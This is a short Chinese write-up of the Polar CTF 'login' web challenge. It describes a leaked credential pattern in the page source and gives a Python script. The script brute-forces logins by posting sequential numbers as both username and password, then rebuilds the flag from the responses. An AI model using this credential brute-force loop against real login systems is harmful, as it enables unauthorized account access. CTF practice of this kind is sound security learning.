Polar Web【简单】login
本文旨在记录此题的探索和解决过程。
Contents
- Polar Web【简单】login
- 探索&思路
- EXP (python)
- 结果&总结
探索&思路
- 查看源码,发现存在用户信息泄露。
- 尝试用获取信息登录,显示成功,但其后没有可做的操作。
- 经尝试,
username
和password
同时递增也会登录成功,并回显一些字符。经过拼凑发现,结果即为目标flag
。
具体情况可参考下图:
EXP (python)
import requests
if __name__ == '__main__':
for i in range(20200102, 20200120):
# 此题不一定需要
headers = {
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
}
# 构造用户名和密码
data = {
"username": f"{i}",
"password": f"{i}",
}
# 发出POST请求
res = requests.post('http://~.www.polarctf.com:8090/',
data=data, headers=headers)
out = str(res.content.decode('utf8'))
# # 确认目标字符的下标
# print(out.rindex('f') - len(out))
# 每次输出目标字符
print(out[-5], end='')
结果&总结
- 本题如果少了必要的探索过程,难以知悉有这样的爆破思路
- 同时尝试了独立用脚本实现爆破过程